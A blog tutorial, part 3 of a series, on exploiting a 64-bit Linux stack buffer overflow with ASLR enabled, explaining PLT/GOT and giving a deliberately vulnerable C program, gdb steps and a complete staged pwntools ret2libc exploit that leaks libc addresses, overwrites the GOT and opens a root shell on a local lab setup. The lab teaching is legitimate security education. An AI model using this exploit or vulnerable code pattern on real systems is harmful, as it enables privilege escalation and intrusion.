{{tag>english Linux kali it-security blog pentest}} ====== Buffer overflow in the 64-bit stack - Part 3 ====== In [[en:it-security:blog:buffer_overflow_x64-2|Part 2]] we used the string ''/bin/zsh'' to the function ''System()'' function to open a root shell. To do this, however, we had to deactivate ASLR - ASLR changes function addresses every time the programme is restarted. Superkojiman describes in detail in his Blog((https://blog.techorganic.com/2016/03/18/64-bit-linux-stack-smashing-tutorial-part-3/)) how to circumvent this protection. But first we have to visualise a few things The third part of the Buffer Overflow series. \\ \\ ===== Introduction ===== ==== Theory ==== {{it-security:blog:bof-part3-header.jpg?500 |}} In Linux systems, dynamic programme libraries are usually used. This has the advantage that we do not have to rewrite every function in every programme, but can simply access the function of the system, which, for example, is stored in ''libc'' for example. If ASLR is now activated, the addresses are changed each time the programme is started. === PLT and GOT === PLT (Procedure Linkage Table) and GOT (Global Offset Table) are responsible for the interaction during dynamic linking. The function ''write()'' function does not point to the actual function when called, but to ''write@plt''. The GOT entry for the function is then requested from the PLT. The GOT now contains all ''libc'' addresses and PLT redirects the execution to them. If the address does not yet exist, ''ld.so'' searches for it and saves it in the GOT. We can now utilise this principle.((https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)) === Leak and Overwrite === To get to our root shell, we now have to do the following: - We leak the GOT entry for the function ''write()'' - We need the base address for ''libc''to be able to calculate the addresses of other functions. The ''libc''-base address is the difference between the address of ''memset()'' and the ''write()''-offset from ''libc.so.6'' - We obtain the address of a library function by calling the respective ''libc.so.6''offset with the ''libc''-base address - In the GOT, we overwrite an address with the one from ''system()''so that we can issue a system command when calling the function [-------------------------------------code-------------------------------------] 0x4011de : lea rax,[rbp-0xa0] 0x4011e5 : mov rsi,rax 0x4011e8 : mov edi,0x1 => 0x4011ed : call 0x401030 0x4011f2 : mov eax,0x0 0x4011f7 : leave \\ \\ ===== Dependencies ===== * socat mod [[gh>andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat]] * pwntools ((https://docs.pwntools.com/en/stable/install.html)) python3 -m pip install --upgrade pip python3 -m pip install --upgrade pwntools \\ \\ ==== C Programme ==== The source code and the compiled binary are also available on [[gh>psycore8/nosoc-bof/tree/main/part-3|Github]]. /* Code https://blog.techorganic.com/2016/03/18/64-bit-linux-stack-smashing-tutorial-part-3/ */ /* Compile: gcc -fno-stack-protector -no-pie bof-part3.c -o bof-part3 */ /* Enable ASLR: echo 2 > /proc/sys/kernel/randomize_va_space */ #include #include #include void helper() { asm("pop %rdi; pop %rsi; pop %rdx; ret"); } int vuln() { char buf[150]; ssize_t b; memset(buf, 0, 150); printf("Enter input: "); b = read(0, buf, 400); printf("Recv: "); write(1, buf, b); return 0; } int main(int argc, char *argv[]){ setbuf(stdout, 0); vuln(); return 0; } \\ \\ ===== Debug ===== {{page>en:vorlagen:attention}} ==== Start socat Listener ==== The supplied socat has mechanisms to protect the memory. There is a modified version on Github in the Dependencies section. /dir/to/socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./bof-part3 \\ \\ ==== GOT address from write ==== We check where the path to the ''libc'' is: ldd bof-part3 linux-vdso.so.1 (0x00007ffe5d956000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f53c7dd7000) /lib64/ld-linux-x86-64.so.2 (0x00007f53c7fd2000) We then find the offset for ''write()'' function: readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep write 2839: 00000000000f7af0 157 FUNC WEAK DEFAULT 16 write@@GLIBC_2.2.5 \\ \\ ==== Breakpoint for write ==== We now have to find out at which point ''write()'' is called. 0x4011e8 : mov edi,0x1 => 0x4011ed : call 0x401030 0x4011f2 : mov eax,0x0 The call is made at ''0x4011ed'' and we set our breakpoint here. echo "br *0x4011ed" >> ~/.gdbinit \\ \\ ==== attach gdb to socat ==== gdb -q -p `pidof socat` Breakpoint 1 at 0x4011ed Attaching to process 111187 \\ \\ ==== Connection with port 2323 ==== We connect with nc and trigger the breakpoint. nc localhost 2323 Enter input: 123 Recv: 123 \\ \\ ==== Search for write GOT ==== Once our breakpoint is reached, we search for the ''write'' GOT address gdb-peda$ x/gx 0x404000 0x404000 : 0x0000000000401036 gdb-peda$ x/5i 0x0000000000401036 0x401036 : push 0x0 0x40103b : jmp 0x401020 0x401040 : jmp QWORD PTR [rip+0x2fc2] # 0x404008 0x401046 : push 0x1 0x40104b : jmp 0x401020 We go one step further without jumping into the function. Then we search again. next gdb-peda$ x/gx 0x404000 0x404000 : 0x00007f559dd76af0 gdb-peda$ x/5i 0x00007f559dd76af0 0x7f559dd76af0 <__GI___libc_write>: cmp BYTE PTR [rip+0xe3ae1],0x0 # 0x7f559de5a5d8 <__libc_single_threaded> 0x7f559dd76af7 <__GI___libc_write+7>: je 0x7f559dd76b10 <__GI___libc_write+32> 0x7f559dd76af9 <__GI___libc_write+9>: mov eax,0x1 0x7f559dd76afe <__GI___libc_write+14>: syscall 0x7f559dd76b00 <__GI___libc_write+16>: cmp rax,0xfffffffffffff000 At this point, the address points to ''write()'' \\ \\ ===== Exploit ===== ==== Stage 1: write address ==== So let's write a first exploit to ''write()'' to leak. #!/usr/bin/env python from pwn import * pop3ret = 0x40116a # Unser pop rdi; pop rsi; pop rdx; ret; gadget bin=ELF("./bof-part3") s=remote("127.0.0.1",2323) s.recvuntil(b": ") buf = b"A"*168 # RIP Offset buf += p64(pop3ret) # POP Argumente buf += p64(constants.STDOUT_FILENO) # stdout buf += p64(bin.got[b'write']) # lese von write@got buf += p64(0x8) # schreibe 8 bytes in stdout buf += p64(bin.plt[b'write']) # Rückkehr nach write@plt buf += b'EOPAY' # Ende des Payloads print("[+] send payload") s.send(buf) # buf überschreibt RIP s.recvuntil(b'EOPAY') # Empfange Daten bis EOPAY print("[+] recvd \'EOPAY\'") got_leak=u64(s.recv(8)) print("[+] leaked write address: {}".format(hex(got_leak))) We run the whole thing and get the following output [+] Opening connection to 127.0.0.1 on port 2323: Done [+] send payload [+] recvd 'EOPAY' [+] leaked write address: 0x7f6805548e80 [*] Closed connection to 127.0.0.1 port 2323 The first address has been leaked. ==== Stage 2 - libc Base and system ==== Now we need the libc base address and the address of ''system()''. We calculate these as follows: * $base(libc) = got(write) - offset(write)$ * $address(system) = base(libc) + offset(system)$ We get the offset address like this: ┌──(kali㉿kali)-[~/repo] └─$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system 1022: 000000000004c920 45 FUNC WEAK DEFAULT 16 system@@GLIBC_2.2.5 So we revise our exploit: #!/usr/bin/env python from pwn import * pop3ret = 0x40116a # Unser pop rdi; pop rsi; pop rdx; ret; gadget gadget write_off = 0x0f7af0 system_off = 0x04c920 bin=ELF("./bof-part3") s=remote("127.0.0.1",2323) s.recvuntil(b": ") buf = b"A"*168 # RIP offset buf += p64(pop3ret) # POP Argumente buf += p64(constants.STDOUT_FILENO) # stdout buf += p64(bin.got[b'write']) # lese von write@got buf += p64(0x8) # schreibe 8 bytes in stdout buf += p64(bin.plt[b'write']) # Rückkehr nach write@plt buf += b'EOPAY' # Ende des Payloads print("[+] send payload") s.send(buf) s.recvuntil(b'EOPAY') print("[+] recvd \'EOPAY\'") got_leak=u64(s.recv(8)) print("[+] leaked write address: {}".format(hex(got_leak))) libc_base = got_leak - write_off # Berechne libc Basis print("[+] libc base is at", hex(libc_base) ) system_addr = libc_base + system_off # Berechne system Adresse print("[+] system() is at", hex(system_addr) ) And now let's look at the output: [+] Opening connection to 127.0.0.1 on port 2323: Done [+] send payload [+] recvd 'EOPAY' [+] leaked write address: 0x7f73dc1c7e80 [+] libc base is at 0x7f73dc12c340 [+] system() is at 0x7f73dc178c60 [*] Closed connection to 127.0.0.1 port 2323 \\ \\ ==== Stage 3 - Overwrite address and execute code ==== For the last section, we need a writable memory area. To do this, we list the memory allocations in gdb. gdb-peda$ info proc mappings process 105836 Mapped address spaces: Start Addr End Addr Size Offset Perms objfile 0x400000 0x401000 0x1000 0x0 r--p /home/kali/repo/bof-part3 0x401000 0x402000 0x1000 0x1000 r-xp /home/kali/repo/bof-part3 0x402000 0x403000 0x1000 0x2000 r--p /home/kali/repo/bof-part3 0x403000 0x404000 0x1000 0x2000 r--p /home/kali/repo/bof-part3 0x404000 0x405000 0x1000 0x3000 rw-p /home/kali/repo/bof-part3 0x7f0f6fb35000 0x7f0f6fb38000 0x3000 0x0 rw-p The range 0x404000 - 0x405000 is writable and static. Let's take a closer look at this. gdb-peda$ x/30i 0x404000 ... 0x404027 : add BYTE PTR [rax],al 0x404029: add BYTE PTR [rax],al 0x40402b: add BYTE PTR [rax],al ... 0x404029 should be perfect for our purpose. #!/usr/bin/env python from pwn import * pop3ret = 0x40116a # Unser pop rdi; pop rsi; pop rdx; ret; gadget write_off = 0x0f7af0 system_off = 0x04c920 writable = 0x404029 bin=ELF("./bof-part3") s=remote("127.0.0.1",2323) s.recvuntil(b": ") buf = b"A"*168 # padding to RIP's offset buf += p64(pop3ret) # POP Argumente buf += p64(constants.STDOUT_FILENO) # stdout buf += p64(bin.got[b'write']) # lese von write@got buf += p64(0x8) # schreibe 8 bytes in stdout buf += p64(bin.plt[b'write']) # Rückkehr nach write@plt # Teil 2: schreibe system Adresse in write got mittels read buf+=p64(pop3ret) buf+=p64(constants.STDIN_FILENO) buf+=p64(bin.got[b'write']) #write@got buf+=p64(0x8) buf+=p64(bin.plt[b'read']) #read@plt # Teil 3: schreibe /bin/sh in beschreibbare Adresse buf+=p64(pop3ret) buf+=p64(constants.STDIN_FILENO) buf+=p64(writable) buf+=p64(0x8) buf+=p64(bin.plt[b'read']) # Teil 4: rufe system auf buf+=p64(pop3ret) buf+=p64(writable) buf+=p64(0xdeadbeef) buf+=p64(0xcafebabe) buf+=p64(bin.plt[b'write']) buf += b'EOPAY' print("[+] send payload") s.send(buf) # buf überschreibt RIP s.recvuntil(b'EOPAY') print("[+] recvd \'EOPAY\'") got_leak=u64(s.recv(8)) print("[+] leaked write address: {}".format(hex(got_leak))) #s2 libc_base=got_leak-write_off print(hex(lib.symbols[b'write'])) print("[+] libc base is at {}".format(hex(libc_base))) system_addr=libc_base+system_off print(hex(lib.symbols[b'system'])) print("[+] system() is at {}".format(hex(system_addr))) #part 2 print("[+] sending system() address") s.send(p64(system_addr)) #part 3 print("[+] sending /bin/zsh") s.send(b'/bin/zsh') #part 4 print("[+] trying shell") s.interactive() \\ \\ ==== Optimisations ==== The exploit with further pwntools optimisations and automated socat start can be found in the [[gh>psycore8/nosoc-bof/tree/main/part-3|Github repository]]. The exploit was originally written by [[https://stackoverflow.com/users/8786498/zapho-oxx|Zopho Oxx]] ((https://stackoverflow.com/a/48571747)) \\ \\ ==== root shell ==== We start socat and bof-part3 as root su root ┌──(root㉿kali)-[/home/kali/repo] └─# /home/kali/repo/socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./bof-part3 and then the exploit as an unprivileged user ┌──(kali㉿kali)-[~/repo] └─$ python3 buffer3.py We get our root shell and have control over the system. {{it-security:blog:bof-dism3-1.png?500|}} \\ \\ ===== Repository ===== ^ Project files | {{ it-security:nosoc-repo-bof-part3.zip |}} | ^ Size | 9.93 KB | ^ Prüfsumme (SHA256) | d1212026504c7a90680e3f1e430244734695971c73f1461bed12605644c707d8 | ~~DISCUSSION~~